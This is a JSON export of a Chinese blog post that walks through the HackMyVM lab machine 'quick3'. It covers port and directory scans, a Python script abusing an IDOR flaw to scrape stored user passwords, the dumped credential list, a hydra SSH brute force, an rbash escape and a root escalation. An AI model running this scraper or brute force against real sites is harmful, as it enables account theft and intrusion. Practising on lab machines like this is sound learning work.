{"id":407,"date":"2024-03-17T16:56:42","date_gmt":"2024-03-17T08:56:42","guid":{"rendered":"http:\/\/162.14.82.114\/?p=407"},"modified":"2024-03-17T16:56:42","modified_gmt":"2024-03-17T08:56:42","slug":"hmv-_-quick3","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/407\/03\/17\/2024\/","title":{"rendered":"hmv[-_-]quick3"},"content":{"rendered":"

quick3<\/h1>\n

\"image-20240317155532800\"<\/div><\/p>\n

\u770b\u4e00\u4e0b\u914d\u7f6e\uff1a<\/p>\n

\"image-20240317155715739\"<\/div><\/p>\n

\u574f\u4e8b\u4e86\uff0c\u6211\u77e5\u9053\u524d\u9762\u7684quick<\/code>\u4e3a\u5565\u626b\u4e0d\u51fa\u6765\u4e86\uff0c\u4e0d\u662f\u4e00\u4e2a\u5b50\u7f51\u7684\uff0c\u6de6\uff01<\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
nmap -sV -sT -T4 -p- -A 10.161.187.177<\/code><\/pre>\n
Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-03-17 03:58 EDT\nNmap scan report for 10.161.187.177\nHost is up (0.00053s latency).\nNot shown: 65533 closed tcp ports (conn-refused)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 2e:7a:1f:17:57:44:6f:7f:f9:ce:ab:a1:4f:cd:c7:19 (ECDSA)\n|_  256 93:7e:d6:c9:03:5b:a1:ee:1d:54:d0:f0:27:0f:13:eb (ED25519)\n80\/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))\n|_http-title: Quick Automative - Home\n|_http-server-header: Apache\/2.4.52 (Ubuntu)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 9.75 seconds<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
gobuster dir -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -u http:\/\/10.161.187.177 -f -t 200<\/code><\/pre>\n
\/img\/                 (Status: 200) [Size: 5255]\n\/css\/                 (Status: 200) [Size: 7563]\n\/lib\/                 (Status: 200) [Size: 2127]\n\/js\/                  (Status: 200) [Size: 7453]\n\/customer\/            (Status: 200) [Size: 2175]\n\/images\/              (Status: 200) [Size: 2889]\n\/fonts\/               (Status: 200) [Size: 10874]\n\/icons\/               (Status: 403) [Size: 279]\n\/modules\/             (Status: 200) [Size: 57253]\n\/server-status\/       (Status: 403) [Size: 279]<\/code><\/pre>\n
\u6f0f\u6d1e\u626b\u63cf<\/h3>\n
nikto -h http:\/\/10.161.187.177<\/code><\/pre>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u5b9e\u5730\u8003\u5bdf\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240317160745008\"<\/div><\/p>\n
\u53d1\u73b0\u767b\u5f55\u9875\u9762\uff1a<\/p>\n
\"image-20240317160808569\"<\/div><\/p>\n
\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u767b\u5f55\u8fdb\u53bb\u770b\u770b\uff1a<\/p>\n
\"image-20240317161011775\"<\/div>
\n
\"image-20240317161027695\"<\/div>
\n
\"image-20240317161221143\"<\/div><\/p>\n
\u53d1\u73b0\u8fd9\u91cc\u6709\u4e2a\u5730\u65b9\u5b58\u5728\u6f0f\u6d1e\uff1a<\/p>\n
\"image-20240317161250545\"<\/div><\/p>\n
url\u5207\u6362\u4e3aid=1<\/code>\u65f6\uff0c\u53ef\u4ee5\u5207\u6362\u7528\u6237\uff1a<\/p>\n
\"image-20240317161325462\"<\/div><\/p>\n
\u518d\u901a\u8fc7\u6539\u5bc6\u7801\uff0c\u53ef\u4ee5\u770b\u5230\u539f\u6765\u7684\u5bc6\u7801\u662f\u591a\u5c11\uff1a<\/p>\n
\"image-20240317161359793\"<\/div><\/p>\n
\u5c1d\u8bd5\u8fdb\u884c\u641c\u96c6\u4e00\u4e0b\uff1a<\/p>\n
# exploit.py\nimport requests\nfrom bs4 import BeautifulSoup as bs\nfrom tqdm import tqdm\n\ndef get_user_data(url, user_id, header):\n    try:\n        response = requests.get(url + "\/?id=" + str(user_id), headers=header, timeout=30)\n        response.raise_for_status()\n        soup = bs(response.text, 'html.parser')\n        username = soup.find("div", class_="contact_inner").h3.text.strip()\n        password = soup.find('input', attrs={'id': 'oldpassword'})['value'].strip()\n        return username, password\n    except Exception as e:\n        print(f"Error retrieving data for user {user_id}: {e}")\n        return None, None\n\ndef main():\n    url = 'http:\/\/10.161.187.177\/customer\/user.php'               # \u4f60\u7684\u7f51\u5740\n    cookie = 'PHPSESSID=6dgcduij04mgkq2kchh71op1hi'             # \u4f60\u7684cookie\n    header = {'User-Agent': 'Mozilla\/5.0', 'Connection': 'keep-alive', 'Cookie': cookie}\n\n    user_data = []\n    for user_id in tqdm(range(1, 29)):\n        username, password = get_user_data(url, user_id, header)\n        if username and password:\n            user_data.append(f"{username.split()[0].lower()}:{password}")\n\n    with open("result.txt", "w") as f:\n        f.write("\\n".join(user_data))\n\nif __name__ == "__main__":\n    main()<\/code><\/pre>\n
\"image-20240317163303873\"<\/div><\/p>\n
quick:q27QAO6FeisAAtbW\nnick:H01n8X0fiiBhsNbI\nandrew:oyS6518WQxGK8rmk\njack:2n5kKKcvumiR7vrz\nmike:6G3UCx6aH6UYvJ6m\njohn:k2I9CR15E9O4G1KI\njane:62D4hqCrjjNCuxOj\nfrank:w9Y021wsWRdkwuKf\nfred:1vC35FcnMfmGsI5c\nsandra:fL01z7z8MawnIdAq\nbill:vDKZtVfZuaLN8BEB7f\njames:iakbmsaEVHhN2XoaXB\ndonald:wv5awQybZTdvZeMGPb\nmichelle:wv5awQybZTdvZeMGPb\njeff:Kn4tLAPWDbFK9Zv2\nlee:SS2mcbW58a8reLYQ\nlaura:e8v3JQv3QVA3aNrD\ncoos:8RMVrdd82n5ymc4Z\nneil:STUK2LNwNRU24YZt\nteresa:mvQnTzCX9wcNtzbW\nkrystal:A9n3XMuB9XmFmgr5\njuan:DX5cM3yFg6wJgdYb\njohn:yT9Hy2fhX7VhmEkj\nmisty:aCSKXmzhHL9XPnqr\nlara:GUFTV4ERd7QAexxw\njames:fMYFNFzCRMF6ceKe\ndick:w5dWfAqNNLtWVvcW\nanna:FVYtCpc8FGVHEBXV<\/code><\/pre>\n
\u7206\u7834\u4e00\u4e0b\uff1a<\/p>\n
hydra -C .\/result.txt ssh:\/\/10.161.187.177<\/code><\/pre>\n
\"image-20240317163710778\"<\/div><\/p>\n
\u7206\u7834\u51fa\u6765\u4e86\uff0c\u5c1d\u8bd5\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n
ssh\u8fde\u63a5<\/h3>\n
\u8fde\u63a5\u83b7\u53d6flag\uff01<\/p>\n
mike@quick3:~$ whoami;id\nmike\nuid=1002(mike) gid=1002(mike) groups=1002(mike)\nmike@quick3:~$ ls -la\ntotal 36\ndrwxr-x---  4 mike mike 4096 Jan 24 12:56 .\ndrwxr-xr-x 11 root root 4096 Jan 24 10:38 ..\nlrwxrwxrwx  1 mike mike    9 Jan 24 10:46 .bash_history -> \/dev\/null\n-rw-r--r--  1 mike mike  220 Jan 21 13:57 .bash_logout\n-rw-r--r--  1 mike mike 3797 Jan 24 12:56 .bashrc\ndrwx------  2 mike mike 4096 Jan 21 14:00 .cache\ndrwxrwxr-x  3 mike mike 4096 Jan 21 13:58 .local\n-rw-r--r--  1 mike mike  807 Jan 21 13:57 .profile\n-rw-rw-r--  1 mike mike 4166 Jan 21 13:58 user.txt\nmike@quick3:~$ cat user.txt<\/code><\/pre>\n
\"image-20240317164609612\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u67e5\u770b\u57fa\u7840\u4fe1\u606f<\/h3>\n
mike@quick3:~$ whoami;id\nmike\nuid=1002(mike) gid=1002(mike) groups=1002(mike)\nmike@quick3:~$ sudo -l\n[sudo] password for mike: \nSorry, user mike may not run sudo on quick3.\nmike@quick3:~$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:103:104::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:104:105:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\npollinate:x:105:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsyslog:x:107:113::\/home\/syslog:\/usr\/sbin\/nologin\nuuidd:x:108:114::\/run\/uuidd:\/usr\/sbin\/nologin\ntcpdump:x:109:115::\/nonexistent:\/usr\/sbin\/nologin\ntss:x:110:116:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nlandscape:x:111:117::\/var\/lib\/landscape:\/usr\/sbin\/nologin\nfwupd-refresh:x:112:118:fwupd-refresh user,,,:\/run\/systemd:\/usr\/sbin\/nologin\nusbmux:x:113:46:usbmux daemon,,,:\/var\/lib\/usbmux:\/usr\/sbin\/nologin\nandrew:x:1000:1000:Andrew Speed:\/home\/andrew:\/bin\/bash\nlxd:x:999:100::\/var\/snap\/lxd\/common\/lxd:\/bin\/false\nnick:x:1001:1001:Nick Greenhorn,,,:\/home\/nick:\/usr\/bin\/bash\nmike:x:1002:1002:Mike Cooper,,,:\/home\/mike:\/bin\/rbash\nmysql:x:114:120:MySQL Server,,,:\/nonexistent:\/bin\/false\njeff:x:1003:1003:Jeff Anderson,,,:\/home\/jeff:\/bin\/bash\nlee:x:1004:1004:Lee Ka-shing,,,:\/home\/lee:\/bin\/bash\ncoos:x:1005:1005:Coos Busters,,,:\/home\/coos:\/bin\/bash\njuan:x:1006:1006:Juan Mec\u00e1nico,,,:\/home\/juan:\/bin\/bash\njohn:x:1007:1007:John Smith,,,:\/home\/john:\/bin\/bash\nlara:x:1008:1008:Lara Johnson,,,:\/home\/lara:\/bin\/bash\nmike@quick3:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n-rbash: \/dev\/null: restricted: cannot redirect output\nmike@quick3:~$ bash\nmike@quick3:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/snap\/snapd\/19457\/usr\/lib\/snapd\/snap-confine\n\/snap\/snapd\/20671\/usr\/lib\/snapd\/snap-confine\n\/snap\/core20\/1974\/usr\/bin\/chfn\n\/snap\/core20\/1974\/usr\/bin\/chsh\n\/snap\/core20\/1974\/usr\/bin\/gpasswd\n\/snap\/core20\/1974\/usr\/bin\/mount\n\/snap\/core20\/1974\/usr\/bin\/newgrp\n\/snap\/core20\/1974\/usr\/bin\/passwd\n\/snap\/core20\/1974\/usr\/bin\/su\n\/snap\/core20\/1974\/usr\/bin\/sudo\n\/snap\/core20\/1974\/usr\/bin\/umount\n\/snap\/core20\/1974\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core20\/1974\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/core20\/2105\/usr\/bin\/chfn\n\/snap\/core20\/2105\/usr\/bin\/chsh\n\/snap\/core20\/2105\/usr\/bin\/gpasswd\n\/snap\/core20\/2105\/usr\/bin\/mount\n\/snap\/core20\/2105\/usr\/bin\/newgrp\n\/snap\/core20\/2105\/usr\/bin\/passwd\n\/snap\/core20\/2105\/usr\/bin\/su\n\/snap\/core20\/2105\/usr\/bin\/sudo\n\/snap\/core20\/2105\/usr\/bin\/umount\n\/snap\/core20\/2105\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core20\/2105\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/libexec\/polkit-agent-helper-1\n\/usr\/bin\/sudo\n\/usr\/bin\/pkexec\n\/usr\/bin\/passwd\n\/usr\/bin\/fusermount3\n\/usr\/bin\/chfn\n\/usr\/bin\/mount\n\/usr\/bin\/su\n\/usr\/bin\/chsh\n\/usr\/bin\/umount\n\/usr\/bin\/newgrp\n\/usr\/bin\/gpasswd\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/snapd\/snap-confine\n\/usr\/lib\/openssh\/ssh-keysign<\/code><\/pre>\n
\u67e5\u770b\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n
\"image-20240317165114086\"<\/div><\/p>\n
\u62ff\u5230\u4e86\u5bc6\u7801\uff0c\u8bd5\u8bd5\u53ef\u4e0d\u53ef\u4ee5\u76f4\u63a5\u8f6c\u6362\u6210root\uff1a<\/p>\n
\"image-20240317165214618\"<\/div><\/p>\n
nice\uff0c\u62ff\u5230root\u4e86\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
quick3 \u770b\u4e00\u4e0b\u914d\u7f6e\uff1a \u574f\u4e8b\u4e86\uff0c\u6211\u77e5\u9053\u524d\u9762\u7684quick\u4e3a\u5565\u626b\u4e0d\u51fa\u6765\u4e86\uff0c\u4e0d\u662f\u4e00\u4e2a\u5b50\u7f51\u7684\uff0c\u6de6\uff01 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-407","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/407","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=407"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/407\/revisions"}],"predecessor-version":[{"id":408,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/407\/revisions\/408"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=407"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=407"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=407"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}